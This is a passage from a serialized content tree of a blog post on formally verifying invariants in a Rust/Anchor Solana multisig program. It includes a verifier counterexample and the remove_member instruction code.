ype":27,"value":14604},{"type":21,"tag":198,"props":25587,"children":25588},{"style":683},[25589],{"type":27,"value":658},{"type":21,"tag":198,"props":25591,"children":25592},{"style":211},[25593],{"type":27,"value":21776},{"type":21,"tag":198,"props":25595,"children":25596},{"style":683},[25597],{"type":27,"value":658},{"type":21,"tag":198,"props":25599,"children":25600},{"style":211},[25601],{"type":27,"value":21925},{"type":21,"tag":198,"props":25603,"children":25604},{"class":200,"line":302},[25605],{"type":21,"tag":198,"props":25606,"children":25607},{"style":211},[25608],{"type":27,"value":21053},{"type":21,"tag":198,"props":25610,"children":25611},{"class":200,"line":323},[25612,25616,25620,25624],{"type":21,"tag":198,"props":25613,"children":25614},{"style":249},[25615],{"type":27,"value":14497},{"type":21,"tag":198,"props":25617,"children":25618},{"style":249},[25619],{"type":27,"value":21944},{"type":21,"tag":198,"props":25621,"children":25622},{"style":1966},[25623],{"type":27,"value":21949},{"type":21,"tag":198,"props":25625,"children":25626},{"style":211},[25627],{"type":27,"value":233},{"type":21,"tag":198,"props":25629,"children":25630},{"class":200,"line":344},[25631,25635,25639,25643,25647,25651],{"type":21,"tag":198,"props":25632,"children":25633},{"style":249},[25634],{"type":27,"value":21636},{"type":21,"tag":198,"props":25636,"children":25637},{"style":226},[25638],{"type":27,"value":21965},{"type":21,"tag":198,"props":25640,"children":25641},{"style":683},[25642],{"type":27,"value":185},{"type":21,"tag":198,"props":25644,"children":25645},{"style":1966},[25646],{"type":27,"value":21823},{"type":21,"tag":198,"props":25648,"children":25649},{"style":211},[25650],{"type":27,"value":21978},{"type":21,"tag":198,"props":25652,"children":25653},{"style":1233},[25654],{"type":27,"value":21983},{"type":21,"tag":198,"props":25656,"children":25657},{"class":200,"line":365},[25658,25662,25666,25670,25674,25678],{"type":21,"tag":198,"props":25659,"children":25660},{"style":249},[25661],{"type":27,"value":21636},{"type":21,"tag":198,"props":25663,"children":25664},{"style":226},[25665],{"type":27,"value":21995},{"type":21,"tag":198,"props":25667,"children":25668},{"style":683},[25669],{"type":27,"value":185},{"type":21,"tag":198,"props":25671,"children":25672},{"style":1966},[25673],{"type":27,"value":21823},{"type":21,"tag":198,"props":25675,"children":25676},{"style":211},[25677],{"type":27,"value":22008},{"type":21,"tag":198,"props":25679,"children":25680},{"style":1233},[25681],{"type":27,"value":22013},{"type":21,"tag":198,"props":25683,"children":25684},{"class":200,"line":386},[25685,25689,25693,25697,25701,25705],{"type":21,"tag":198,"props":25686,"children":25687},{"style":249},[25688],{"type":27,"value":21636},{"type":21,"tag":198,"props":25690,"children":25691},{"style":226},[25692],{"type":27,"value":22025},{"type":21,"tag":198,"props":25694,"children":25695},{"style":683},[25696],{"type":27,"value":185},{"type":21,"tag":198,"props":25698,"children":25699},{"style":1966},[25700],{"type":27,"value":18351},{"type":21,"tag":198,"props":25702,"children":25703},{"style":211},[25704],{"type":27,"value":22038},{"type":21,"tag":198,"props":25706,"children":25707},{"style":1233},[25708],{"type":27,"value":22043},{"type":21,"tag":198,"props":25710,"children":25711},{"class":200,"line":408},[25712,25716,25720,25724,25728,25732],{"type":21,"tag":198,"props":25713,"children":25714},{"style":249},[25715],{"type":27,"value":21636},{"type":21,"tag":198,"props":25717,"children":25718},{"style":226},[25719],{"type":27,"value":22055},{"type":21,"tag":198,"props":25721,"children":25722},{"style":683},[25723],{"type":27,"value":185},{"type":21,"tag":198,"props":25725,"children":25726},{"style":1966},[25727],{"type":27,"value":18351},{"type":21,"tag":198,"props":25729,"children":25730},{"style":211},[25731],{"type":27,"value":22008},{"type":21,"tag":198,"props":25733,"children":25734},{"style":1233},[25735],{"type":27,"value":22072},{"type":21,"tag":198,"props":25737,"children":25738},{"class":200,"line":429},[25739,25743,25747,25751,25755,25759],{"type":21,"tag":198,"props":25740,"children":25741},{"style":249},[25742],{"type":27,"value":21636},{"type":21,"tag":198,"props":25744,"children":25745},{"style":226},[25746],{"type":27,"value":22084},{"type":21,"tag":198,"props":25748,"children":25749},{"style":683},[25750],{"type":27,"value":185},{"type":21,"tag":198,"props":25752,"children":25753},{"style":1966},[25754],{"type":27,"value":15439},{"type":21,"tag":198,"props":25756,"children":25757},{"style":211},[25758],{"type":27,"value":22097},{"type":21,"tag":198,"props":25760,"children":25761},{"style":1233},[25762],{"type":27,"value":22102},{"type":21,"tag":198,"props":25764,"children":25765},{"class":200,"line":450},[25766,25770,25774,25778,25782,25786],{"type":21,"tag":198,"props":25767,"children":25768},{"style":249},[25769],{"type":27,"value":21636},{"type":21,"tag":198,"props":25771,"children":25772},{"style":226},[25773],{"type":27,"value":22114},{"type":21,"tag":198,"props":25775,"children":25776},{"style":683},[25777],{"type":27,"value":185},{"type":21,"tag":198,"props":25779,"children":25780},{"style":1966},[25781],{"type":27,"value":21650},{"type":21,"tag":198,"props":25783,"children":25784},{"style":211},[25785],{"type":27,"value":22127},{"type":21,"tag":198,"props":25787,"children":25788},{"style":1233},[25789],{"type":27,"value":22132},{"type":21,"tag":198,"props":25791,"children":25792},{"class":200,"line":468},[25793,25797,25801,25805,25809,25813],{"type":21,"tag":198,"props":25794,"children":25795},{"style":249},[25796],{"type":27,"value":21636},{"type":21,"tag":198,"props":25798,"children":25799},{"style":226},[25800],{"type":27,"value":22144},{"type":21,"tag":198,"props":25802,"children":25803},{"style":683},[25804],{"type":27,"value":185},{"type":21,"tag":198,"props":25806,"children":25807},{"style":1966},[25808],{"type":27,"value":12860},{"type":21,"tag":198,"props":25810,"children":25811},{"style":211},[25812],{"type":27,"value":828},{"type":21,"tag":198,"props":25814,"children":25815},{"style":1233},[25816],{"type":27,"value":22161},{"type":21,"tag":198,"props":25818,"children":25819},{"class":200,"line":477},[25820,25824,25828,25832,25836,25840,25844,25848],{"type":21,"tag":198,"props":25821,"children":25822},{"style":249},[25823],{"type":27,"value":21636},{"type":21,"tag":198,"props":25825,"children":25826},{"style":226},[25827],{"type":27,"value":22173},{"type":21,"tag":198,"props":25829,"children":25830},{"style":683},[25831],{"type":27,"value":185},{"type":21,"tag":198,"props":25833,"children":25834},{"style":1966},[25835],{"type":27,"value":22182},{"type":21,"tag":198,"props":25837,"children":25838},{"style":211},[25839],{"type":27,"value":3159},{"type":21,"tag":198,"props":25841,"children":25842},{"style":1966},[25843],{"type":27,"value":22191},{"type":21,"tag":198,"props":25845,"children":25846},{"style":211},[25847],{"type":27,"value":22196},{"type":21,"tag":198,"props":25849,"children":25850},{"style":1233},[25851],{"type":27,"value":22201},{"type":21,"tag":198,"props":25853,"children":25854},{"class":200,"line":494},[25855],{"type":21,"tag":198,"props":25856,"children":25857},{"style":211},[25858],{"type":27,"value":1120},{"type":21,"tag":30,"props":25860,"children":25861},{},[25862,25864,25869],{"type":27,"value":25863},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":21,"tag":194,"props":25865,"children":25867},{"className":25866},[],[25868],{"type":27,"value":23535},{"type":27,"value":25870}," object will be checked to ensure that the invariant still holds after modification.",{"type":21,"tag":30,"props":25872,"children":25873},{},[25874,25876,25881],{"type":27,"value":25875},"Let's try this on the ",{"type":21,"tag":194,"props":25877,"children":25879},{"className":25878},[],[25880],{"type":27,"value":23614},{"type":27,"value":25882}," instruction that we've already seen:",{"type":21,"tag":187,"props":25884,"children":25886},{"code":25885},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[25887],{"type":21,"tag":194,"props":25888,"children":25889},{"__ignoreMap":7},[25890],{"type":27,"value":25885},{"type":21,"tag":30,"props":25892,"children":25893},{},[25894,25896,25901],{"type":27,"value":25895},"To ensure this is working, we can test by commenting out this check from ",{"type":21,"tag":194,"props":25897,"children":25899},{"className":25898},[],[25900],{"type":27,"value":23614},{"type":27,"value":185},{"type":21,"tag":187,"props":25903,"children":25905},{"code":25904,"language":3788,"meta":7,"className":3789,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n// return err!(MsError::InvalidThreshold);\n// }\n",[25906],{"type":21,"tag":194,"props":25907,"children":25908},{"__ignoreMap":7},[25909,25917,25925],{"type":21,"tag":198,"props":25910,"children":25911},{"class":200,"line":201},[25912],{"type":21,"tag":198,"props":25913,"children":25914},{"style":1233},[25915],{"type":27,"value":25916},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":21,"tag":198,"props":25918,"children":25919},{"class":200,"line":217},[25920],{"type":21,"tag":198,"props":25921,"children":25922},{"style":1233},[25923],{"type":27,"value":25924},"// return err!(MsError::InvalidThreshold);\n",{"type":21,"tag":198,"props":25926,"children":25927},{"class":200,"line":236},[25928],{"type":21,"tag":198,"props":25929,"children":25930},{"style":1233},[25931],{"type":27,"value":25932},"// }\n",{"type":21,"tag":30,"props":25934,"children":25935},{},[25936],{"type":27,"value":25937},"And run again:",{"type":21,"tag":187,"props":25939,"children":25941},{"code":25940},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[25942],{"type":21,"tag":194,"props":25943,"children":25944},{"__ignoreMap":7},[25945],{"type":27,"value":25940},{"type":21,"tag":30,"props":25947,"children":25948},{},[25949],{"type":27,"value":25950},"We get the following counterexample:",{"type":21,"tag":187,"props":25952,"children":25954},{"code":25953,"language":3788,"meta":7,"className":3789,"style":7},"Account {\n account: Ms {\n threshold: 32768,\n authority_index: 1,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: SparseVec {\n size: 5112,\n },\n },\n info: AccountInfo { ... },\n}\n",[25955],{"type":21,"tag":194,"props":25956,"children":25957},{"__ignoreMap":7},[25958,25969,25989,26009,26029,26049,26069,26089,26109,26129,26150,26171,26179,26187,26217],{"type":21,"tag":198,"props":25959,"children":25960},{"class":200,"line":201},[25961,25965],{"type":21,"tag":198,"props":25962,"children":25963},{"style":1966},[25964],{"type":27,"value":17947},{"type":21,"tag":198,"props":25966,"children":25967},{"style":211},[25968],{"type":27,"value":233},{"type":21,"tag":198,"props":25970,"children":25971},{"class":200,"line":217},[25972,25977,25981,25985],{"type":21,"tag":198,"props":25973,"children":25974},{"style":226},[25975],{"type":27,"value":25976}," account",{"type":21,"tag":198,"props":25978,"children":25979},{"style":683},[25980],{"type":27,"value":185},{"type":21,"tag":198,"props":25982,"children":25983},{"style":1966},[25984],{"type":27,"value":21949},{"type":21,"tag":198,"props":25986,"children":25987},{"style":211},[25988],{"type":27,"value":233},{"type":21,"tag":198,"props":25990,"children":25991},{"class":200,"line":236},[25992,25996,26000,26005],{"type":21,"tag":198,"props":25993,"children":25994},{"style":226},[25995],{"type":27,"value":24630},{"type":21,"tag":198,"props":25997,"children":25998},{"style":683},[25999],{"type":27,"value":185},{"type":21,"tag":198,"props":26001,"children":26002},{"style":2540},[26003],{"type":27,"value":26004}," 32768",{"type":21,"tag":198,"props":26006,"children":26007},{"style":211},[26008],{"type":27,"value":257},{"type":21,"tag":198,"props":26010,"children":26011},{"class":200,"line":260},[26012,26017,26021,26025],{"type":21,"tag":198,"props":26013,"children":26014},{"style":226},[26015],{"type":27,"value":26016}," authority_index",{"type":21,"tag":198,"props":26018,"children":26019},{"style":683},[26020],{"type":27,"value":185},{"type":21,"tag":198,"props":26022,"children":26023},{"style":2540},[26024],{"type":27,"value":5335},{"type":21,"tag":198,"props":26026,"children":26027},{"style":211},[26028],{"type":27,"value":257},{"type":21,"tag":198,"props":26030,"children":26031},{"class":200,"line":281},[26032,26037,26041,26045],{"type":21,"tag":198,"props":26033,"children":26034},{"style":226},[26035],{"type":27,"value":26036}," transaction_index",{"type":21,"tag":198,"props":26038,"children":26039},{"style":683},[26040],{"type":27,"value":185},{"type":21,"tag":198,"props":26042,"children":26043},{"style":2540},[26044],{"type":27,"value":3855},{"type":21,"tag":198,"props":26046,"children":26047},{"style":211},[26048],{"type":27,"value":257},{"type":21,"tag":198,"props":26050,"children":26051},{"class":200,"line":302},[26052,26057,26061,26065],{"type":21,"tag":198,"props":26053,"children":26054},{"style":226},[26055],{"type":27,"value":26056}," ms_change_index",{"type":21,"tag":198,"props":26058,"children":26059},{"style":683},[26060],{"type":27,"value":185},{"type":21,"tag":198,"props":26062,"children":26063},{"style":2540},[26064],{"type":27,"value":3855},{"type":21,"tag":198,"props":26066,"children":26067},{"style":211},[26068],{"type":27,"value":257},{"type":21,"tag":198,"props":26070,"children":26071},{"class":200,"line":323},[26072,26077,26081,26085],{"type":21,"tag":198,"props":26073,"children":26074},{"style":226},[26075],{"type":27,"value":26076}," bump",{"type":21,"tag":198,"props":26078,"children":26079},{"style":683},[26080],{"type":27,"value":185},{"type":21,"tag":198,"props":26082,"children":26083},{"style":2540},[26084],{"type":27,"value":3855},{"type":21,"tag":198,"props":26086,"children":26087},{"style":211},[26088],{"type":27,"value":257},{"type":21,"tag":198,"props":26090,"children":26091},{"class":200,"line":344},[26092,26096,26100,26105],{"type":21,"tag":198,"props":26093,"children":26094},{"style":226},[26095],{"type":27,"value":24643},{"type":21,"tag":198,"props":26097,"children":26098},{"style":683},[26099],{"type":27,"value":185},{"type":21,"tag":198,"props":26101,"children":26102},{"style":683},[26103],{"type":27,"value":26104}," ...",{"type":21,"tag":198,"props":26106,"children":26107},{"style":211},[26108],{"type":27,"value":257},{"type":21,"tag":198,"props":26110,"children":26111},{"class":200,"line":365},[26112,26117,26121,26125],{"type":21,"tag":198,"props":26113,"children":26114},{"style":226},[26115],{"type":27,"value":26116}," allow_external_execute",{"type":21,"tag":198,"props":26118,"children":26119},{"style":683},[26120],{"type":27,"value":185},{"type":21,"tag":198,"props":26122,"children":26123},{"style":249},[26124],{"type":27,"value":9868},{"type":21,"tag":198,"props":26126,"children":26127},{"style":211},[26128],{"type":27,"value":257},{"type":21,"tag":198,"props":26130,"children":26131},{"class":200,"line":386},[26132,26137,26141,26146],{"type":21,"tag":198,"props":26133,"children":26134},{"style":226},[26135],{"type":27,"value":26136}," keys",{"type":21,"tag":198,"props":26138,"children":26139},{"style":683},[26140],{"type":27,"value":185},{"type":21,"tag":198,"props":26142,"children":26143},{"style":1966},[26144],{"type":27,"value":26145}," SparseVec",{"type":21,"tag":198,"props":26147,"children":26148},{"style":211},[26149],{"type":27,"value":233},{"type":21,"tag":198,"props":26151,"children":26152},{"class":200,"line":408},[26153,26158,26162,26167],{"type":21,"tag":198,"props":26154,"children":26155},{"style":226},[26156],{"type":27,"value":26157}," size",{"type":21,"tag":198,"props":26159,"children":26160},{"style":683},[26161],{"type":27,"value":185},{"type":21,"tag":198,"props":26163,"children":26164},{"style":2540},[26165],{"type":27,"value":26166}," 5112",{"type":21,"tag":198,"props":26168,"children":26169},{"style":211},[26170],{"type":27,"value":257},{"type":21,"tag":198,"props":26172,"children":26173},{"class":200,"line":429},[26174],{"type":21,"tag":198,"props":26175,"children":26176},{"style":211},[26177],{"type":27,"value":26178}," },\n",{"type":21,"tag":198,"props":26180,"children":26181},{"class":200,"line":450},[26182],{"type":21,"tag":198,"props":26183,"children":26184},{"style":211},[26185],{"type":27,"value":26186}," },\n",{"type":21,"tag":198,"props":26188,"children":26189},{"class":200,"line":468},[26190,26195,26199,26204,26208,26212],{"type":21,"tag":198,"props":26191,"children":26192},{"style":226},[26193],{"type":27,"value":26194}," info",{"type":21,"tag":198,"props":26196,"children":26197},{"style":683},[26198],{"type":27,"value":185},{"type":21,"tag":198,"props":26200,"children":26201},{"style":1966},[26202],{"type":27,"value":26203}," AccountInfo",{"type":21,"tag":198,"props":26205,"children":26206},{"style":211},[26207],{"type":27,"value":1891},{"type":21,"tag":198,"props":26209,"children":26210},{"style":683},[26211],{"type":27,"value":10402},{"type":21,"tag":198,"props":26213,"children":26214},{"style":211},[26215],{"type":27,"value":26216}," },\n",{"type":21,"tag":198,"props":26218,"children":26219},{"class":200,"line":477},[26220],{"type":21,"tag":198,"props":26221,"children":26222},{"style":211},[26223],{"type":27,"value":1120},{"type":21,"tag":30,"props":26225,"children":26226},{},[26227,26229,26234,26236,26241],{"type":27,"value":26228},"Here we see that the ",{"type":21,"tag":194,"props":26230,"children":26232},{"className":26231},[],[26233],{"type":27,"value":23543},{"type":27,"value":26235}," of the newly created ",{"type":21,"tag":194,"props":26237,"children":26239},{"className":26238},[],[26240],{"type":27,"value":23535},{"type":27,"value":26242}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":21,"tag":59,"props":26244,"children":26246},{"id":26245},"verify-requirements-to-remove-a-member",[26247],{"type":27,"value":23573},{"type":21,"tag":30,"props":26249,"children":26250},{},[26251,26253,26258,26259,26264,26266,26272],{"type":27,"value":26252},"Now that we've seen both ",{"type":21,"tag":194,"props":26254,"children":26256},{"className":26255},[],[26257],{"type":27,"value":20949},{"type":27,"value":11801},{"type":21,"tag":194,"props":26260,"children":26262},{"className":26261},[],[26263],{"type":27,"value":22571},{"type":27,"value":26265}," let's take a look at the ",{"type":21,"tag":194,"props":26267,"children":26269},{"className":26268},[],[26270],{"type":27,"value":26271},"remove_member",{"type":27,"value":3319},{"type":21,"tag":187,"props":26274,"children":26276},{"code":26275,"language":3788,"meta":7,"className":3789,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n #[account(mut)]\n multisig: Box\u003CAccount\u003C'info, Ms>>,\n #[account(\n mut,\n seeds = [\n b\"squad\",\n multisig.create_key.as_ref(),\n b\"multisig\"\n ], bump = multisig.bump\n )]\n pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n // if there is only one key in this multisig, reject the removal\n if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n }\n ctx.accounts.multisig.remove_member(old_member)?;\n\n // if the number of keys is now less than the threshold, adjust it\n if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n ctx.accounts.multisig.change_threshold(new_threshold)?;\n }\n let new_index = ctx.accounts.multisig.transaction_index;\n ctx.accounts.multisig.set_change_index(new_index)\n}\n",[26277],{"type":21,"tag":194,"props":26278,"children":26279},{"__ignoreMap":7},[26280,26303,26331,26346,26391,26398,26410,26426,26438,26464,26472,26501,26508,26540,26547,26554,26628,26636,26696,26728,26735,26786,26793,26801,26894,26983,27037,27044,27089,27134],{"type":21,"tag":198,"props":26281,"children":26282},{"class":200,"line":201},[26283,26287,26291,26295,26299],{"type":21,"tag":198,"props":26284,"children":26285},{"style":211},[26286],{"type":27,"value":23631},{"type":21,"tag":198,"props":26288,"children":26289},{"style":1966},[26290],{"type":27,"value":23636},{"type":21,"tag":198,"props":26292,"children":26293},{"style":211},[26294],{"type":27,"value":828},{"type":21,"tag":198,"props":26296,"children":26297},{"style":1966},[26298],{"type":27,"value":25515},{"type":21,"tag":198,"props":26300,"children":26301},{"style":211},[26302],{"type":27,"value":21053},{"type":21,"tag":198,"props":26304,"children":26305},{"class":200,"line":217},[26306,26310,26314,26319,26323,26327],{"type":21,"tag":198,"props":26307,"children":26308},{"style":249},[26309],{"type":27,"value":14497},{"type":21,"tag":198,"props":26311,"children":26312},{"style":249},[26313],{"type":27,"value":21944},{"type":21,"tag":198,"props":26315,"children":26316},{"style":1966},[26317],{"type":27,"value":26318}," MsAuth",{"type":21,"tag":198,"props":26320,"children":26321},{"style":211},[26322],{"type":27,"value":23716},{"type":21,"tag":198,"props":26324,"children":26325},{"style":1966},[26326],{"type":27,"value":23721},{"type":21,"tag":198,"props":26328,"children":26329},{"style":211},[26330],{"type":27,"value":8093},{"type":21,"tag":198,"props":26332,"children":26333},{"class":200,"line":236},[26334,26338,26342],{"type":21,"tag":198,"props":26335,"children":26336},{"style":211},[26337],{"type":27,"value":23922},{"type":21,"tag":198,"props":26339,"children":26340},{"style":249},[26341],{"type":27,"value":4530},{"type":21,"tag":198,"props":26343,"children":26344},{"style":211},[26345],{"type":27,"value":21053},{"type":21,"tag":198,"props":26347,"children":26348},{"class":200,"line":260},[26349,26354,26358,26363,26367,26371,26375,26379,26383,26387],{"type":21,"tag":198,"props":26350,"children":26351},{"style":226},[26352],{"type":27,"value":26353}," multisig",{"type":21,"tag":198,"props":26355,"children":26356},{"style":683},[26357],{"type":27,"value":185},{"type":21,"tag":198,"props":26359,"children":26360},{"style":1966},[26361],{"type":27,"value":26362}," Box",{"type":21,"tag":198,"props":26364,"children":26365},{"style":211},[26366],{"type":27,"value":3159},{"type":21,"tag":198,"props":26368,"children":26369},{"style":1966},[26370],{"type":27,"value":17947},{"type":21,"tag":198,"props":26372,"children":26373},{"style":211},[26374],{"type":27,"value":23716},{"type":21,"tag":198,"props":26376,"children":26377},{"style":1966},[26378],{"type":27,"value":23721},{"type":21,"tag":198,"props":26380,"children":26381},{"style":211},[26382],{"type":27,"value":828},{"type":21,"tag":198,"props":26384,"children":26385},{"style":1966},[26386],{"type":27,"value":23535},{"type":21,"tag":198,"props":26388,"children":26389},{"style":211},[26390],{"type":27,"value":7763},{"type":21,"tag":198,"props":26392,"children":26393},{"class":200,"line":281},[26394],{"type":21,"tag":198,"props":26395,"children":26396},{"style":211},[26397],{"type":27,"value":23733},{"type":21,"tag":198,"props":26399,"children":26400},{"class":200,"line":302},[26401,26406],{"type":21,"tag":198,"props":26402,"children":26403},{"style":249},[26404],{"type":27,"value":26405}," mut",{"type":21,"tag":198,"props":26407,"children":26408},{"style":211},[26409],{"type":27,"value":257},{"type":21,"tag":198,"props":26411,"children":26412},{"class":200,"line":323},[26413,26417,26421],{"type":21,"tag":198,"props":26414,"children":26415},{"style":211},[26416],{"type":27,"value":23817},{"type":21,"tag":198,"props":26418,"children":26419},{"style":683},[26420],{"type":27,"value":3174},{"type":21,"tag":198,"props":26422,"children":26423},{"style":211},[26424],{"type":27,"value":26425}," [\n",{"type":21,"tag":198,"props":26427,"children":26428},{"class":200,"line":344},[26429,26434],{"type":21,"tag":198,"props":26430,"children":26431},{"style":205},[26432],{"type":27,"value":26433}," b\"squad\"",{"type":21,"tag":198,"props":26435,"children":26436},{"style":211},[26437],{"type":27,"value":257},{"type":21,"tag":198,"props":26439,"children":26440},{"class":200,"line":365},[26441,26446,26450,26455,26459],{"type":21,"tag":198,"props":26442,"children":26443},{"style":211},[26444],{"type":27,"value":26445}," multisig",{"type":21,"tag":198,"props":26447,"children":26448},{"style":683},[26449],{"type":27,"value":658},{"type":21,"tag":198,"props":26451,"children":26452},{"style":211},[26453],{"type":27,"value":26454},"create_key",{"type":21,"tag":198,"props":26456,"children":26457},{"style":683},[26458],{"type":27,"value":658},{"type":21,"tag":198,"props":26460,"children":26461},{"style":211},[26462],{"type":27,"value":26463},"as_ref(),\n",{"type":21,"tag":198,"props":26465,"children":26466},{"class":200,"line":386},[26467],{"type":21,"tag":198,"props":26468,"children":26469},{"style":205},[26470],{"type":27,"value":26471}," b\"multisig\"\n",{"type":21,"tag":198,"props":26473,"children":26474},{"class":200,"line":408},[26475,26480,26485,26489,26493,26497],{"type":21,"tag":198,"props":26476,"children":26477},{"style":211},[26478],{"type":27,"value":26479}," ], ",{"type":21,"tag":198,"props":26481,"children":26482},{"style":226},[26483],{"type":27,"value":26484},"bump",{"type":21,"tag":198,"props":26486,"children":26487},{"style":683},[26488],{"type":27,"value":979},{"type":21,"tag":198,"props":26490,"children":26491},{"style":226},[26492],{"type":27,"value":23878},{"type":21,"tag":198,"props":26494,"children":26495},{"style":683},[26496],{"type":27,"value":658},{"type":21,"tag":198,"props":26498,"children":26499},{"style":211},[26500],{"type":27,"value":23858},{"type":21,"tag":198,"props":26502,"children":26503},{"class":200,"line":429},[26504],{"type":21,"tag":198,"props":26505,"children":26506},{"style":211},[26507],{"type":27,"value":23866},{"type":21,"tag":198,"props":26509,"children":26510},{"class":200,"line":450},[26511,26515,26520,26524,26528,26532,26536],{"type":21,"tag":198,"props":26512,"children":26513},{"style":249},[26514],{"type":27,"value":21636},{"type":21,"tag":198,"props":26516,"children":26517},{"style":226},[26518],{"type":27,"value":26519}," multisig_auth",{"type":21,"tag":198,"props":26521,"children":26522},{"style":683},[26523],{"type":27,"value":185},{"type":21,"tag":198,"props":26525,"children":26526},{"style":1966},[26527],{"type":27,"value":23951},{"type":21,"tag":198,"props":26529,"children":26530},{"style":211},[26531],{"type":27,"value":23716},{"type":21,"tag":198,"props":26533,"children":26534},{"style":1966},[26535],{"type":27,"value":23721},{"type":21,"tag":198,"props":26537,"children":26538},{"style":211},[26539],{"type":27,"value":6950},{"type":21,"tag":198,"props":26541,"children":26542},{"class":200,"line":468},[26543],{"type":21,"tag":198,"props":26544,"children":26545},{"style":211},[26546],{"type":27,"value":1120},{"type":21,"tag":198,"props":26548,"children":26549},{"class":200,"line":477},[26550],{"type":21,"tag":198,"props":26551,"children":26552},{"emptyLinePlaceholder":16},[26553],{"type":27,"value":1283},{"type":21,"tag":198,"props":26555,"children":26556},{"class":200,"line":494},[26557,26561,26565,26570,26574,26578,26582,26586,26590,26595,26599,26604,26608,26612,26616,26620,26624],{"type":21,"tag":198,"props":26558,"children":26559},{"style":249},[26560],{"type":27,"value":14497},{"type":21,"tag":198,"props":26562,"children":26563},{"style":249},[26564],{"type":27,"value":14502},{"type":21,"tag":198,"props":26566,"children":26567},{"style":698},[26568],{"type":27,"value":26569}," remove_member",{"type":21,"tag":198,"props":26571,"children":26572},{"style":211},[26573],{"type":27,"value":706},{"type":21,"tag":198,"props":26575,"children":26576},{"style":226},[26577],{"type":27,"value":21075},{"type":21,"tag":198,"props":26579,"children":26580},{"style":683},[26581],{"type":27,"value":185},{"type":21,"tag":198,"props":26583,"children":26584},{"style":1966},[26585],{"type":27,"value":21084},{"type":21,"tag":198,"props":26587,"children":26588},{"style":211},[26589],{"type":27,"value":3159},{"type":21,"tag":198,"props":26591,"children":26592},{"style":1966},[26593],{"type":27,"value":26594},"MsAuth",{"type":21,"tag":198,"props":26596,"children":26597},{"style":211},[26598],{"type":27,"value":7442},{"type":21,"tag":198,"props":26600,"children":26601},{"style":226},[26602],{"type":27,"value":26603},"old_member",{"type":21,"tag":198,"props":26605,"children":26606},{"style":683},[26607],{"type":27,"value":185},{"type":21,"tag":198,"props":26609,"children":26610},{"style":1966},[26611],{"type":27,"value":21650},{"type":21,"tag":198,"props":26613,"children":26614},{"style":211},[26615],{"type":27,"value":1541},{"type":21,"tag":198,"props":26617,"children":26618},{"style":683},[26619],{"type":27,"value":14564},{"type":21,"tag":198,"props":26621,"children":26622},{"style":1966},[26623],{"type":27,"value":14569},{"type":21,"tag":198,"props":26625,"children":26626},{"style":211},[26627],{"type":27,"value":21126},{"type":21,"tag":198,"props":26629,"children":26630},{"class":200,"line":515},[26631],{"type":21,"tag":198,"props":26632,"children":26633},{"style":1233},[26634],{"type":27,"value":26635}," // if there is only one key in this multisig, reject the removal\n",{"type":21,"tag":198,"props":26637,"children":26638},{"class":200,"line":4484},[26639,26643,26648,26652,26656,26660,26664,26668,26672,26676,26680,26684,26688,26692],{"type":21,"tag":198,"props":26640,"children":26641},{"style":640},[26642],{"type":27,"value":643},{"type":21,"tag":198,"props":26644,"children":26645},{"style":226},[26646],{"type":27,"value":26647}," ctx",{"type":21,"tag":198,"props":26649,"children":26650},{"style":683},[26651],{"type":27,"value":658},{"type":21,"tag":198,"props":26653,"children":26654},{"style":211},[26655],{"type":27,"value":15480},{"type":21,"tag":198,"props":26657,"children":26658},{"style":683},[26659],{"type":27,"value":658},{"type":21,"tag":198,"props":26661,"children":26662},{"style":211},[26663],{"type":27,"value":24609},{"type":21,"tag":198,"props":26665,"children":26666},{"style":683},[26667],{"type":27,"value":658},{"type":21,"tag":198,"props":26669,"children":26670},{"style":211},[26671],{"type":27,"value":21776},{"type":21,"tag":198,"props":26673,"children":26674},{"style":683},[26675],{"type":27,"value":658},{"type":21,"tag":198,"props":26677,"children":26678},{"style":698},[26679],{"type":27,"value":9950},{"type":21,"tag":198,"props":26681,"children":26682},{"style":211},[26683],{"type":27,"value":14850},{"type":21,"tag":198,"props":26685,"children":26686},{"style":683},[26687],{"type":27,"value":9386},{"type":21,"tag":198,"props":26689,"children":26690},{"style":2540},[26691],{"type":27,"value":5335},{"type":21,"tag":198,"props":26693,"children":26694},{"style":211},[26695],{"type":27,"value":233},{"type":21,"tag":198,"props":26697,"children":26698},{"class":200,"line":4493},[26699,26703,26707,26711,26715,26719,26724],{"type":21,"tag":198,"props":26700,"children":26701},{"style":640},[26702],{"type":27,"value":16547},{"type":21,"tag":198,"props":26704,"children":26705},{"style":698},[26706],{"type":27,"value":24312},{"type":21,"tag":198,"props":26708,"children":26709},{"style":211},[26710],{"type":27,"value":706},{"type":21,"tag":198,"props":26712,"children":26713},{"style":1966},[26714],{"type":27,"value":24321},{"type":21,"tag":198,"props":26716,"children":26717},{"style":683},[26718],{"type":27,"value":4286},{"type":21,"tag":198,"props":26720,"children":26721},{"style":1966},[26722],{"type":27,"value":26723},"CannotRemoveSoloMember",{"type":21,"tag":198,"props":26725,"children":26726},{"style":211},[26727],{"type":27,"value":1470},{"type":21,"tag":198,"props":26729,"children":26730},{"class":200,"line":4561},[26731],{"type":21,"tag":198,"props":26732,"children":26733},{"style":211},[26734],{"type":27,"value":880},{"type":21,"tag":198,"props":26736,"children":26737},{"class":200,"line":4569},[26738,26742,26746,26750,26754,26758,26762,26766,26770,26774,26778,26782],{"type":21,"tag":198,"props":26739,"children":26740},{"style":226},[26741],{"type":27,"value":21018},{"type":21,"tag":198,"props":26743,"children":26744},{"style":683},[26745],{"type":27,"value":658},{"type":21,"tag":198,"props":26747,"children":26748},{"style":211},[26749],{"type":27,"value":15480},{"type":21,"tag":198,"props":26751,"children":26752},{"style":683},[26753],{"type":27,"value":658},{"type":21,"tag":198,"props":26755,"children":26756},{"style":211},[267